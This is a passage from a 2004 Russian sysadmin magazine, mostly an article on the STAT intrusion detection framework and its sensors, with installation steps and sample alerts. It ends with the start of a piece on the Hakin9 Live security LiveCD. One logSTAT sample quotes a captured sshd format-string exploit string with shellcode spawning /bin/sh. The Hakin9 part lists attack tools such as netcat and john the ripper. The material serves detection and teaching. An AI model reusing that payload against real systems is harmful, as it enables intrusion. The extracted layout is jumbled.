рольных записей, произведенных средствами аудита опе-рационной системы, записи в журналах приложений и раз-личными типами датчиков, в том числе и трафик, получен-ный прослушиванием сетевых интерфейсов. Одни систе-мы, используя заранее составленные описания атак (сиг-натуры) и сравнивая, принимают решения о начале атаки.Такие IDS относятся к классу signature/rule-based/misuse и,как правило, не могут обнаруживать новые, еще не зане-сенные в базу атаки, что делает их бесполезными в началеэпидемий, к тому же они склонны генерировать ложные по-зитивные предупреждения. Другие, anomaly detection-сис-темы, используют разные методы и алгоритмы, в которыхиспользуются и контролируются модели «нормального»поведения системы, основанные на статистических данныхили на некоторых правилах, отклонения от которых свиде-тельствуют о возможных неприятностях. Такие системы,хоть также обладают недостатками, так как требуется не-

STAT – СОВСЕМ ДРУГАЯ IDSSTAT – СОВСЕМ ДРУГАЯ IDS

СЕРГЕЙ ЯРЕМЧУКСЕРГЕЙ ЯРЕМЧУК

Page 63: 023 Системный Администратор 10 2004

61№10(23), октябрь 2004

безопасность

которое время на их обучение, которое к тому же при неко-торых обстоятельствах может быть и не 100% эффектив-ным. Они все же позволяют обнаруживать новые атаки, нотакже не застрахованы от выдачи ложных тревог, особен-но в динамичных средах. Скорее всего, в ближайшем буду-щем будут использоваться комбинированные системы, со-четающие в себе положительные свойства обеих систем.За примером далеко ходить не надо – Snort (http://www.snort.org) поддерживает проверку аномалий в сетипосредством препроцессоров (preprocessors). Препроцес-соры проверяют данные пакетов после декодера Snort, нодо того как механизм детектирования начинает сравниватьправила, добавляя дополнительные возможности всей си-стеме. Хотя в сильно загруженных сетях их применениеможет увеличить нагрузку на систему, и к тому же большаяих часть находится в концептуальном состоянии, и они мо-гут вызывать большое количество ложных срабатываний,но, надо отметить, возможна тонкая подстройка препроцес-соров под конкретные условия. Но, несмотря на наличиепрепроцессоров, Snort все-таки больше signature IDS, чемanomaly. Совсем другой подход.

Проект State Transition Analysis Technique (STAT) исполь-зует несколько иной метод обнаружения угроз. Основан этотметод на абстракциях, где вместо конкретных деталей ис-пользуются обобщенные модели атак, которые затем опи-сываются в возможных сценариях атак. Процесс абстрак-ции от обычной формы (т.е. простых контрольных записейили сетевых пакетов) к представлению более высокогоуровня сделан так, чтобы различные действия в системестатистически независимых низкоуровневых факторовбыли по возможности представлены к единому типу. Кро-ме того, методология STAT поддерживает такой подход мо-делирования, который представляет только те действия,которые являются критическими для эффективности ата-ки в целом.

При этом отход от специфики конкретной атаки делаетвозможным обнаруживать ранее неизвестные вариантыатаки или атаки, использующие подобные механизмы, т.е.подход STAT лишен недостатков, присущих signature-based-подходу. Методы, заложенные в сценариях STAT, могут бытьприменены для создания любого вида датчиков host-based,network-based и application-based, что делает данную тех-нологию универсальной. К примеру, два тогда еще концеп-туальных датчика NetSTAT и USTAT прошли в конце про-шлого века полевые испытания в MIT Lincoln Laboratory иAir Force Research Laboratory (AFRL). В ходе которых зас-лужили высокую оценку, и, главное, была доказана жиз-ненность предложенных методик обнаружения атак и об-наружена схожесть путей представления сценариев атак иархитектуры различных типов датчиков.

Концепции, на которых базируется STAT,принцип работыОснову проекта составляют пять понятий:! State Transition Analysis Technique – STAT;! язык STATL;! ядро STAT;! инструментальные средства STAT;! инфраструктура MetaSTAT.

Методика анализа смены состояний (STAT) описываетвозможные угрозы как некие сценарии. В сценариях атакипредставлены как последовательности состояний, которыехарактеризуют эволюцию состояний защиты системы от на-чального до скомпрометированного. Описания атак вклю-чают в себя как минимум две позиции: запускающее initial-состояние и по крайней мере одно конечное состояние ком-прометации системы. Так, в сценарии атаки, описывающейпопытку нарушить защиту операционной системы, форму-лируются утверждения вроде монопольного использованияфайла, идентификации или авторизации пользователя, а всценарии, описывающем сканирование портов, описыва-ются типичные действия и сегменты TCP, используемые присканировании портов хоста.

Для описания сценариев атаки используется расширя-емый язык STATL. Вообще надо отметить, в последнее вре-мя заметен интерес к подобным разработкам и появилосьмножество языков, что полностью оправдывает себя, т.к.появляется возможность выявить общие закономерности,присущие атакам, произвести их классификацию и анализзависимостей среди различных атак, что позволит опозна-вать скоординированные и растянутые по времени атакипротив компьютерных систем. По крайней мере сейчас из-вестны шесть категорий «attack languages»: языки собы-тий, языки реакции, языки отчетов, языки корреляции, язы-ки эксплоитов и языки детектирования. STATL относится кпоследней категории, т.е. к языкам детектирования, кото-рые имеют соответствующие механизмы и абстракции, по-зволяющие описать атаку. Сама же атака в STATL пред-ставляется как последовательность состояний и переходов.Состояния характеризуют систему в различные моментыразвития атаки. Описывается только необходимое для оп-ределения атаки (например, атрибуты файловой системы).Переходы же ассоциируются со специфическими условия-ми, которые необходимо выполнить для перехода в новоесостояние. Например, после обнаружения бинарных дан-ных в запросе веб-сервера ожидается открытие еще одно-го TCP-соединения или запуск приложения. Возможное раз-витие событий контролируется фильтрами утвержденийперехода, которые определяют более конкретные условия,которым может соответствовать дальнейшее развитие ата-ки. Например, открытие соединения только со специфичес-ким портом или запуск критических приложений. При этомпереходы в зависимости от результата могут приобретатьзначение consuming, nonconsuming или unwinding.

STATL включает несколько встроенных типов: int и u_int,bool, string, timeval (для временных меток) и timer (для от-слеживания событий в течение определенного интервалавремени ) и также включены массивы. При этом невозмож-но определить новые типы данных в пределах сценария,специфические типы должны определяться в ориентирован-ной на конкретную задачу библиотеке. Поэтому сетевые иhost-датчики кроме встроенных имеют и специфическиетипы данных. В документации можно найти примеры пост-роения сценария на языке STATL, позволяющие более под-робно разобраться с технологией, в данный же момент всеимеющиеся сценарии и расширения языка STATL, перепи-саны в код C++ и откомпилированы в библиотеки STATdevelopment tools, хотя в архивах приложений встречаются

Page 64: 023 Системный Администратор 10 2004

62

безопасность

ознакомительные сценарии и модули, написанные на язы-ке STATL, позволяющие самому создать необходимое опи-сание события. Для возможности разработки и тестирова-ния собственных сценариев имеются необходимые прило-жения:! STATL Parser – инструмент, написанный на Java, позво-

ляет переводить сценарии, написанные на STATL, в сце-нарий C++ плагинов, который затем можно откомпили-ровать и загрузить в STAT-based приложение.

! STATed – графический редактор для сценариев STATL,также реализованный на Java.

! xSTAT – позволяет создать законченное универсальноеSTAT-based приложение без необходимости следоватьза одиночным приложением, а фактически все сенсорыявляются символическими ссылками на это имя и лю-бой можно запустить, набрав xstat с соответствующимиопциями.

Кроме того, в документе «Translating Snort rules to STATLscenarios» (http://www.cs.ucsb.edu/~rsg/pub/2001_eckmann_RAID01.pdf.gz) обсужден процесс перевода правил Snort всценарии STATL, но, к сожалению, упоминаемой в нем ути-литы snort2statl на сайте обнаружить не удалось.

STATL позволяет использовать особенности методикиSTAT независимо от конкретного приложения и областиприменения, т.к. может быть легко адаптирован к различ-ным целевым средам и также содержит конструкции, кото-рые могут помочь быстро адаптировать язык к любой спе-цифической области. Например, расширения STATL дляописания происходящего на основании записей в логах веб-сервера Apache, имеют поля вроде host, ident, authuser, date,request, status, bytes и пр.

После определения возможных событий устанавливаютсяпредикаты, основанные на них. Так, например, isCGIrequest()возвращает истину в том случае, когда событие – запросна выполнение CGI-скрипта; в случае, когда клиенту воз-вращается ошибка 400-500, истину принимает предикатisClientError(); а когда в запросе обнаруживаются бинарныестроки, что может свидетельствовать о попытке перепол-нения буфера, истину принимает предикат isBinary(). Всесобытия и определения предиката сгруппированы в расши-рениях языка, и после того как наборы событий и связан-ные с ними предикаты для расширений языка определены,их возможно использовать в описаниях сценариев STATL.

Дальнейшая работа системыпо обнаружению атакиСценарии STATL обрабатываются во время выполненияядром STAT. Для этого сценарии компилируются в ScenarioPlugin, который является динамически загружаемой библио-текой (.so в UNIX или DLL в Windows). Кроме того, все рас-ширения языка, использованного в сценариях, должны бытьоткомпилированы в Language Extension Module, которыйтакже является динамически загружаемой библиотекой.Само ядро STAT обеспечивает единые для сценариев па-раметры вроде таймеров, концепций состояния, переходаи соответствия события и фактически производит анализ,сравнивая входящий поток со сценариями, имеющимися вScenario Plugins. Для расширения возможностей предусмот-

рено расширение ядра за счет добавления модулей, отве-чающих за анализ определенных событий (сетевой трафик,логи приложений и событий, отслеживаемых операционнойсистемой, системные вызовы и пр.), что позволяет собратьIDS практически под конкретные условия. При этом возмож-но изменение в процессе выполнения загрузкой/выгрузкойSTAT-based приложений при помощи директив управления,посланных ядру STAT. Ядро вместе с загруженными моду-лями и определяет возможности системы. Если же STATзапущен без модулей, он работает в «пустой» конфигура-ции, т.к. содержит только образ ядра, ожидающего собы-тий или сообщений управления. Источник событий обеспе-чивается модулем Event Provider, который, собирая данные(т.е. события) из внешней среды (анализ логов, сетевых па-кетов), фильтрует те, которые не представляют интерес,преобразовывает остающиеся события в объекты событий(как определено Language Extension Module), преобразовы-вает эти события в универсальные события STAT и добав-ляет эти события во входную очередь ядра STAT.

При этом Event Providers может быть добавлен и удалендинамически, также ядро может работать одновременно снесколькими Event Provider. Для обработки событий необ-ходимо загрузить одно или несколько Scenario Plugins в ядроSTAT. Прототипы сценария содержат структуры данных,представляющие в условленных сценарием терминах со-стояние и изменение глобальных переменных и набор не-которых параметров активации. Прототип создает первыйобразец сценария. Такой образец находится в начальномсостоянии, соответствующем сценарию атаки. Ядро STAT,анализируя определенный сценарий, помечает образец длясобытий, ассоциированных с начальным состоянием сце-нария. Теперь ядро готово для обработки события. Если со-бытие соответствует помеченному, то происходит необхо-димая оценка и утверждение состояний, и в случае удов-летворительного ответа принимается решение о соответ-ствии. При этом, так как могут изменяться последствия, томожет создаваться и новый сценарий. Каждый образецсценария фактически представляет описание атаки в про-грессе.

В результате работы сценария в конце может быть вы-дан некоторый выход. Это может быть регистрация, пре-дупреждающее сообщение, перестройка firewall, другим ва-риантом может быть выдача т.н. синтетического события,которое обрабатывается подобно любому другому событиюи может использоваться, чтобы представить изменения це-почки сценария. За ответ на событие отвечает ResponseModules, представляющий собой набор функций, способ-ных реализовать любой необходимый тип реакции, в томчисле и в зависимости от установок и на промежуточныесостояния сценария. Теперь STAT-based приложение пол-ностью сконфигурировано, необходимые модули в зависи-мости от потребностей могут быть в любой момент загру-жены/выгружены, все необходимые зависимости осуществ-ляются либо самим приложением, либо инфраструктуройMetaSTAT.

Инфраструктура MetaSTATВ защищаемой сети развертывается сеть датчиков, состав-ленная из компонентов, соединенных между собой посред-

Page 65: 023 Системный Администратор 10 2004

63№10(23), октябрь 2004

безопасность

ством локальной связи и инфраструктуры управления. Дляконтроля работы, координации действий, совместимости иуправления STAT-based приложениями предназначен наборMetaSTAT, состоящий из:! CommSTAT – позволяет создавать защищенные соеди-

нения между разнесенными по сети компонентами. Пе-редаваемые данные форматируются согласно стандар-ту Intrusion Detection Message Exchange Format (IDMEF),предложенному Intrusion Detection Working Group (IDWG)of the Internet Engineering Task Force (http://www.ietf.org/html.charters/idwg-charter.html), который базируется наXML. Оригинальный IDMEF распознает два вида собы-тий: Heartbeat и Alert, который был расширен необходи-мыми для управления датчиками сообщениями. Для за-щиты соединения используется SSL.

! STAT Proxy – действует как посредник между STAT-basedприложением и контроллером MetaSTAT, отвечает заподдержку репозитария host-based модулей STAT, длясоединения с Controller использует CommSTAT. Такжепроизводит предварительную обработку сообщений идиректив управления, и поддерживает интеграцию синструментами сторонних разработчиков, не поддержи-вающих инфраструктуру STAT.

! MetaSTAT Controller – сохраняет соединения к имеющим-ся STAT proxy и обеспечивает интерфейс, позволяющийотсылать управляющие сообщения STAT-based прило-жениям и контролировать их текущее состояние.

! MetaSTAT Viewer – пакет включает приложение, напи-санное на Java и обеспечивающее графический пользо-вательский интерфейс, позволяющий просматриватьпредупреждения, сохраненные в централизованной базеданных. В настоящее время Viewer поддерживает про-смотр IDMEF версии 0.3.

! MetaSTAT Configurator – хранит базу данных задейство-ванных модулей и датчиков, а также зависимостей меж-ду ними.

! MetaSTAT Collector – отвечает за сбор и сохранение пре-дупреждений, собранных управляемыми датчиками. Всепредупреждения IDMEF можно сохранить во внешнейбазе данных (MySQL).

Выходы датчиков в форме предупреждений собираютсят.н. мета-сенсорами, каждый такой мета-сенсор отвечает заподмножество развернутых датчиков и может координироватьдействия с другими мета-сенсорами (корреляция результатов,например). Компоненты MetaSTAT могут быть организова-ны в иерархической структуре, для возможности разверты-вания большого количества датчиков в больших сетях.

Инструменты STATПринципы, заложенные в STAT, были использованы приразработке нескольких компонентов, позволяющих собратьSTAT-based IDS под определенные задачи.! USTAT – первый появившийся датчик, представляет со-

бой host-based IDS, анализирующую контрольные запи-си, выданные Sun Solaris Basic Security Module (BSM).

! NSTAT – расширение USTAT для работы с несколькимиузлами, позволяет учитывать атаки на узлы, использу-ющие NFS.

! WinSTAT – также относится к IDS контролирующим от-дельный узел и предназначен для анализа системных ло-гов Windows NT для обнаружения следов возможных атак.

! LinSTAT – представляет собой демон контроля происхо-дящих событий в Linux-системах, для этих целей исполь-зуется пакет SNARE, разработанный InterSect Alliance(http://www.intersectalliance.com).

! NetSTAT – относится к сетевым системам обнаруженияатак, анализирует сетевой трафик на предмет наличияпакетов, содержащих угрозу.

! WebSTAT – application-based IDS, а по сути синтаксичес-кий анализатор лог-файлов, сгенерированых веб-сер-вером Apache, позволяющий обнаружить атаки и зло-намеренные запросы.

! LogSTAT – сенсор, анализирующий журналы форматаUNIX syslog, но имеет библиотеку расширения, позво-ляющую отслеживать критические записи и в журналахApache.

! AlertSTAT – хотя и назван в некоторых документах дат-чиком, но относится к инструменту анализа выводов дру-гих датчиков и позволяет обнаруживать атаки болеевысокого уровня, в том числе и распределенные и мно-гоступенчатые атаки.

Установка и работаДомашняя страница проекта в Интернете находится по ад-ресу http://www.cs.ucsb.edu/~kemm/netstat.html/projects.html,здесь вы найдете документацию и собственно сам софт.Страница для закачки разбита по приложениям, причем есливы хотите установить только LinSTAT (http://www.cs.ucsb.edu/~kemm/netstat.html/software/linstat.html), то на этой страни-це найдете все необходимые компоненты для удовлетво-рения зависимостей. Доступны как прекомпилированныеrpm-пакеты (для RedHat 7.3), так и исходные тексты. Надосказать, что в rpm-пакетах можно найти только базовые при-ложения, да и то, например, модули ядра будут работатьтолько с тем ядром, для которого они компилированы, прииспользовании в другой системе получите примерно такоесообщение:

Поэтому наиболее общим вариантом будет установка изисходников. Как сказано в документации, для установки до-статочно ввести стандартные ./configure, make, make installи все. Но при установке MetaSTAT (с остальными приложе-ниями проблем практически не было) на RedHat 7.3 и 9,SuSE 9.1, Linux XP, Slackware 9.1, проблемы возникали вкаждом случае (в RedHat 7.3 и Slackware меньше) поэтому,скорее всего, придется немного повозиться в каждом конк-ретном случае. Например, такая ошибка преследовала вовсех системах.

Но libxml установлен, ищем, где:

Starting linuxstat services: insmod: error inserting

'/usr/local/stat/sensors/linuxstat_sensor_1.0/auditmodule.o':

-1 Invalid module format

checking for libxml/parser.h... no

The STAT Core needs libxml2 headers installed before it can be compiled

(note that a link called "libxml" and pointing to "libxml2/libxml" is needed)

# find /usr /opt -name parser.h/usr/include/libxml2/libxml/parser.h

Page 66: 023 Системный Администратор 10 2004

64

безопасность

Исправить ситуацию можно так:

После этого:

Проблема с glib в SuSE решилась таким образом:

А еще:

Смысл, думаю, ясен. Хотя от MetaSTAT можно поначалуотказаться вообще и установить позднее, все компонентыможно использовать отдельно без централизованного уп-равления. А так скачиваем необходимые сенсоры и распа-ковываем командой tar xzvf название_пакета. После чего втекущем каталоге образуется подкаталог STAT-1.0. При за-дании команды ./configure без дополнительных парамет-ров будут найдены все распакованные сенсоры, они нахо-дятся в STAT-1.0/Sensors/ и можно установить любой изних, просто зайдя в нужный каталог и дав необходимыекоманды. Либо можно отменить автодетектирование, до-бавив опцию --disable-autodetect, и затем указать на нуж-ные сенсоры (например, --enable-netstat, --enable-linstat),и нелишней будет опция --enable-java для компиляции Java-компонентов. После компиляции и установки появитсякаталог /usr/local/stat/, в котором собраны все библиотекисценариев и основные настройки сенсоров. Большинствофайлов не требует вмешательства. Для более точной под-стройки некоторых датчиков загляните в подкаталогproviders, где в подкаталогах соответствующих датчиковнайдете файл provider_config.

Например, в файле /usr/local/stat/providers/apache_provider_1.0/provider_config по умолчанию такая записьuse_command_line_args, свидетельствующая о том, что па-раметры берутся с командной строки. А в linuxstat_provider_1.0/provider_config занесены файлы и каталоги, доступ к ко-торым будет контролироваться сенсором LinSTAT.

Теперь конкретней о некоторых сенсорах и сопутствую-щих приложениях. Как уже говорилось выше, LinSTAT явля-ется версией утилиты аудита системы SNARE (System iNtrusionAnalysis and Reporting Environment) с уже настроенными па-раметрами контроля. После установки в вашем распоряже-нии будет динамически загружаемый модуль ядраauditmodule.o и три утилиты auditdaemon, linuxstat и praudit.Модуль, работая в пространстве ядра, отлавливает крити-ческие системные вызовы вроде «execve» (выполнение ко-манды), «open» (открыть файл), «mkdir» (создать каталог) иотправляет результат к подпрограмме, которая собирает всю

информацию относительно процесса и пользователя, егозапустившего, или просто попытавшегося выполнить рас-сматриваемый системный вызов. Модуль сохраняет инфор-мацию во временном буфере, который может быть прочитанпри помощи auditdaemon или linuxstat. Эти две программыпо сути являются пользовательским интерфейсом кauditmodule.o, считываются данные через устройство /proc/audit. При этом auditdaemon собирает все данные и сохраня-ет их в бинарном формате в файл (по умолчанию /var/log/snare/audit), для того чтобы просмотреть события, ее можноизвлечь при помощи praudit.

Утилита linuxstat работает в двух режимах live и offline.В режиме live информация берется непосредственно с /proc/audit и сразу же анализируется сценариями STAT, в offlineанализируется файл, созданный auditdaemon.

В live-режиме программу можно запустить так:

А в offline так:

Для примера пробуем занести новые данные в файл /etc/passwd, в live-режиме система сразу же выдает предупреж-дающее сообщение.

#auditdaemon -o /var/log/snare/audit-`date -I`#praudit -c /var/log/snare/audit-2004-09-02

...

EVENT #26: act: READ, time: Thu Sep 2 17:46:59 2004, retcode: 2,

exec_args: gpm, pathname: /usr/sbin/gpm, uid: 0, gid: 0, euid: 0, egid: 0,

pid: 991, ppid: 1, pwd: /, objname: /dev/tty0, owner: 0, gowner: 0,

inode: 36763, dev: 770, perm:rw—w----

...

End of file /var/log/snare/audit (33 events in 4335 bytes:

131.36 bytes/event)

#linuxstat -name LinSTAT:1.0 -hostname localhost -live

#linuxstat -name LinSTAT:1.0 -hostname localhost ↵↵↵↵↵-offline /var/log/snare/audit-2004-09-02

LinSTAT:1.0@09/02/2004 21:32:36: LOG: linux_restricted_write: 500:

/etc/passwd written by

user 500, program /bin/bash

LinSTAT:1.0@09/02/2004 21:32:36: LOG:

<IDMEF-Message version="0.3">

<Alert ident="grinder-uUg3vo5" impact="attempted-admin">

<CreateTime ntpstamp="0xC4E1E5C4.0x6AFB1CF5">

2004-09-02T18:32:36Z</CreateTime>

<Classification origin="unknown">

<name>restricted_dir_write</name>

<url>http://www.cs.ucsb.edu/~rsg/STAT</url>

</Classification>

<Analyzer analyzerid="LinSTAT:1.0:192.168.1.1">

<Process><name>LinSTAT:1.0</name>

</Process><Node><Address category="ipv4-addr">

<address>192.168.1.1</address>

</Address></Node></Analyzer>

<Source spoofed="unknown">

<User><UserId type="current-user">

<name>sergej</name>

<number>500</number>

</UserId>

<UserId type="current-group">

<name>500</name></UserId></User>

<Process><name>bash</name>

<path>/bin/bash</path>

<pid>22002</pid></Process>

</Source>

<Target><Process><name></name>

<path>/etc/passwd</path></Process></Target>

<AdditionalData type="string" meaning="ustat:target_directory">

/etc/</AdditionalData>

<AdditionalData type="string" meaning="ustat:target_file">

# ln -s /usr/include/libxml2/libxml /usr/include/libxml

checking for pthread.h... yes

checking libxml/parser.h usability... yes

checking libxml/parser.h presence... yes

checking for libxml/parser.h... yes

MetaSTAT needs glib installed before it can be compiled

configure: error: /bin/sh './configure' failed for MetaSTAT

# ln -s /usr/lib/libglib-1.2.so.0.0.10 /usr/lib/libglib-1.2.so

# ln -s /opt/gnome/lib/libgnome.so.32.4.3 ↵↵↵↵↵/opt/gnome/lib/libgnome.so.0

# ln -s /usr/lib/libcrypto.so.0.9.7 /usr/lib/libcrypto.so.2# ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.2

Page 67: 023 Системный Администратор 10 2004

65№10(23), октябрь 2004

безопасность

Для запуска при старте системы используется скрипт/etc/init.d/linstat, который берет данные из файла /etc/sysconfig/linuxstat. В этих файлах можно изменить параметры запускаи месторасположение исполняемых и файлов отчетов.

Сенсор webSTAT анализирует логи веб-сервера Apache,после установки будет доступна только одна утилита –webstat, которая и принимает в качестве аргумента лог-файл. Работает также в двух режимах offline и live. Первыйреализуется опцией [-auditfile | -a]:

Второй при помощи опции [-interface | -i]:

Теперь для контроля работы набираем в строке браузера:http://server/cgi-bin, после чего система выдает сообщение:

При повторной попытке:

Обратите внимание, что система различает первую ипоследующие попытки одной и той же атаки.

Использование сенсора logSTAT аналогично предыду-щему:

либо:

Датчик NetSTAT также может работать в двух режимах.Если запустить с указанием сетевого интерфейса, то будутконтролироваться проходящие через него пакеты:

И как входные данные можно использовать информа-цию, собранную внешней утилитой, например tcpdump.

Для удобства параметры можно занести в provider_config:

или

Принцип работы остальных сенсоров STAT аналогичени, думаю, ясен.

К сожалению, STAT только-только выбрался из концеп-туального состояния и еще не успел обзавестись полноцен-ными средствами сбора и вывода данных, так что их при-дется создавать самому, а поэтому о массовом использо-вании разговор пока не идет. Проведенные тестовые ис-пытания подтвердили жизненность методики STAT, былиобнаружены не только уже известные атаки, но и тестиро-вались уязвимости обнаруженные, после того как системабыла установлена, но все равно в отчетах одного из сенсо-ров появлялось предупреждающее сообщение. В этом про-является одна из основных достоинств STAT, т.е. работаю-щая IDS фактически не требует никаких обновлений и мо-жет эксплуатироваться большой промежуток времени безвнимания администратора. Остается надеяться, что нара-ботки не пропадут даром. Успехов.

# /etc/init.d/linstat start_linLinSTAT:1.0@09/02/2004 15:37:54: LOG: <IDMEF-Message>

<x-stat from="xstat@localhost" to="[email protected]">

<x-stat_info id="1" return_value="0" return_string="OK"

scenario_id="2">

</x-stat_info>

</x-stat>

</IDMEF-Message>

# webstat -a /var/log/apache2/access_log

#webstat -i /var/log/apache2/access_log

webstat@localhost@08/26/2004 11:36:18: LOG: apache_regex_xml:

26/Aug/2004:11:36:18 +0300 : First Bad Request "GET

/cgi-bin/ HTTP/1.1" :From 192.168.0.1

:Attack: cgi_dir

webstat@localhost@08/26/2004 11:37:34: LOG: apache_regex_xml:

26/Aug/2004:11:37:34 +0300 : Subsequent Bad Request "GET

/cgi-bin/ HTTP/1.1" :From

192.168.0.1 :Attack: cgi_dir

#logstat -i /var/log/messages -i /var/log/secure

#logstat -a /var/log/messages -a /var/log/secure

passwd</AdditionalData>

</Alert>

</IDMEF-Message>

#netstat -i eth0

#netstat -a tcpdump_file

interface eth0

auditfile /audit/file.tcpdump

Got UDP port unreachable

192.168.0.1 48361 -> 192.168.0.20 1

Inside tcpprobe, generating Half Open event

attacker: 192.168.0.1, attackerport: 48370, victim: 192.168.0.1,

victimport:22

<response sensor="netstat@localhost" scenario="proto_30"

scenario_id="201" instance_id="665"

from="logging" transition"inactive" to="end">

<data>CLASSIFICATION_NAME="tcpsweep"</data>

<data>CLASSIFICATION_URL="http://www.cs.ucsb.edu/~rsg"</data>

<data>SOURCE_NODEADDRESS="192.168.0.1"</data>

<data>SOURCE_PORT="48361"</data>

<data>TARGET_NODEADDRESS="192.168.0.20"</data>

<data>ADDITIONAL_DATA="Alert only contains last attacker"</data>

<data>threshold="3"</data>

<data>timeout="3"</data>

<data>victims=""</data>

<data>victim_address="335587520"</data>

<data>total_probed="1488"</data>

<data>addr_probes=""</data>

<data>t1="1"</data>

</response>

[Sun Aug 29 10:01:56 2004] : Facility : kernel: First Occurance : eth0:

setting promiscuous mode.

logstat@localhost@29/08/2004 12:01:57: LOG: syslog_watch:

[Sun Aug 29 11:01:16 2004]: Facility : sshd[7717]: First Occurance :

failed password for root

from 192.168.0.20 port 22 ssh2

[Sun Aug 29 11:01:16 2004]: Facility : server[23101]:

Subsequent Occurance : dispatch_input:

bad request line

'aa~m?~n?~o?~p?%.236u%304$n%.217u%305$n%.6u%306$n%.192u%

307$n~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~

p~p~p~p~p~p~p~p~p~p1???^g?_~mo^g~mq^l~iq^d~mq^\~iq^h

~ia^\1?i^q1?a^\^pf?@?@y^l^bu^d<^at^m?@^a}???~@~i??0??@?@^cu?

i1??hc^g~i[^h~mk^h~ic^l^k?@1??~@?t/bin/sh'

logstat@localhost@01/09/2004 22:13:04: LOG: syslog_bufferoverflow:

Page 68: 023 Системный Администратор 10 2004

66

администрирование

Появление LiveCD-дистрибутивов GNU/Linux не только по-радовало поклонников этой системы, но и было оцененоадминистраторами, отвечающими за безопасность сети.Конечно же, можно нанять для этой цели и специалистовсо стороны, что в принципе более правильно, т.к. при по-мощи сканеров все равно невозможно выявить все недо-статки, но не все могут позволить себе такую роскошь. Даи следить за безопасностью необходимо не время от вре-мени, а постоянно, и поэтому хочется иметь готовый инст-румент, позволяющий оценить все самому. LiveCD-дист-рибутивы позволяют сделать необходимый инструментбуквально на все случаи жизни, и эта особенность не мог-ла остаться незамеченной у специалистов по компьютер-ной безопасности.

Польский журнал Hakin9 ориентирован на читателя, от-вечающего за защиту компьютерных систем, программис-тов, специалистов по безопасности и администраторов, атакже на людей, занимающихся проблемами безопасностикомпьютеров и сетей в свободное время. Предлагаемый имдистрибутив Hakin9 Live (http://www.haking.pl/en/index.php?page=hakin9_live), основанный на другом польском дистри-бутиве Aurox Live (http://www.aurox.org/en), содержит всенеобходимые инструментальные средства и материалы, не-обходимые для проверки на практике методик и техноло-гий, описанных в статьях журнала. И для этого дистрибу-тив включает в себя огромный набор утилит и инструмен-тов для тестирования систем на уязвимость (как локаль-ных, так и удаленных).

В использовании Hakin9 Live в принципе не очень отли-чается от других подобных дистрибутивов, необходимо ска-

СЕРГЕЙ ЯРЕМЧУК

HAKIN9 LIVE

чать с одного из зеркал, указанных на сайте, iso-образ раз-мером 300 Мб, записать его на болванку и загрузиться,присутствие жесткого диска необязательно. При загрузкеможно передать ядру некоторые параметры, например, ре-жим загрузки framebuffer fb800 и fb1024 или без него nofb,текстовый режим – text и прочие. Но в большинстве случа-ев вмешательство пользователя необязательно. Необходи-мо отметить, что локализован Hakin9 Live пока только напольский (по умолчанию), немецкий, французский, испанс-кий, чешский, но русский язык в списке отсутствует. Незнаю, считать ли это недостатком, все равно большая частьпредлагаемых утилит консольные, и знание английского вподобных случаях просто обязательно. Начиная с версии2.0, в дистрибутиве используется оконный менеджер XFce4,в более ранних – fluxbox. После загрузки необходимо заре-гистрироваться как пользователь root или haking без паро-ля. Помнится, как распекали SuSE Linux 9.1 LiveCD именнопо этой причине, поэтому, если планируется работа в Интер-нете, обязательно установите пароль при помощи passwd,иначе проникнуть в компьютер труда особого не составит.Дистрибутив поддерживает большинство сетевых устройств,и некоторые пытается настроить автоматически. Если сетьне удалось настроить при помощи DHCP, настраиваем еевручную. Для этого воспользуемся командами ifconfig иroute.

И заносим в /etc/resolv.conf имя ближайшего сервераимен. Например:

#ifconfig eth0 192.168.0.20 netmask 255.255.255.0#route add default gw 192.168.0.254

Page 69: 023 Системный Администратор 10 2004

67№10(23), октябрь 2004

администрирование

Те, кто не привык к ручной набивке команд, могут вос-пользоваться графическими netconfig, netcardconfig илиredhat-config-network.

После чего выполняем.

Aurox Live базируется на RedHat, и поэтому в Hakin9 Liveможно найти конфигурационные утилиты, специфичные дляданного дистрибутива, в том числе возможно использова-ние rpm, но именно по этой причине этот дистрибутив мо-жет подойти новичкам, еще не знающим всех тонкостейUNIX-систем. Особенностью дистрибутива является отсут-ствие автоматического сохранения настроек, поэтому о со-хранении всего необходимого придется позаботиться са-мому, сохранив их на дискету или в любой раздел жесткогодиска, которые автоматически система находит и монтиру-ет при загрузке.

Ссылки на все основные инструменты для удобствапользователя собраны в каталоге /usr/local/bin/tools/, кудаможно перейти в том числе и из отдельного пункта меню.Здесь полный набор, включающий наработки известныххакерских групп:! Утилиты анализа защищенности и работы в сети: iptables,

tcpdump, tcpflow, tcpslice, сканеры – nmap с nmapfe, amap(Application MAPper), gps (Ghost Port Scan, хорошая ути-лита для проверки правил firewall), exscan, siphon, nbtscan,jwhois, iptraf (IP Network Statistics Utility), nessus, Snort,

strobe, traceroute, ethereal, tethereal, cold (ComputerizedOrdinary LAN Dumper), p0f, panda309 (простая скорост-ная утилита для удаленного определения ОС), sentinel,vmap, mtr, fping, hping2, hping3, queso, dnstracer, arp, arping,arp-watch, ether-wake, netcat, ftp, ssh, веб-браузеры Linksи Mozilla Firebird, набор утилит для работы с kerberos.

! Утилиты анализа и повышения защищенности систе-мы – john the ripper, позволяющий оценить пароли напрочность, весь набор утилит The Coroner’s Toolkit с ин-струментом визуализации Autopsy Forensic Browser, окотором журнал уже писал.

